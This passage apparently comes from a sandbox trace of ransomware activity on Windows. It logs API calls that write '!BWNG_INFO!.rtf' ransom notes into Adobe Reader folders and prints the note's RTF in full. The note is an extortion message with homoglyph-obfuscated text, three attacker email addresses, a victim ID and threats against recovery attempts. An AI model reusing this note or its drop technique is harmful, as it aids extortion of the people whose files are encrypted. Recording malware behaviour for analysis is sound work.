n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.952] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.953] CloseHandle (hObject=0x1cc) returned 1 [0033.953] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\!bwng_info!.rtf")) returned 0xffffffff [0033.953] GetLastError () returned 0x2 [0033.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 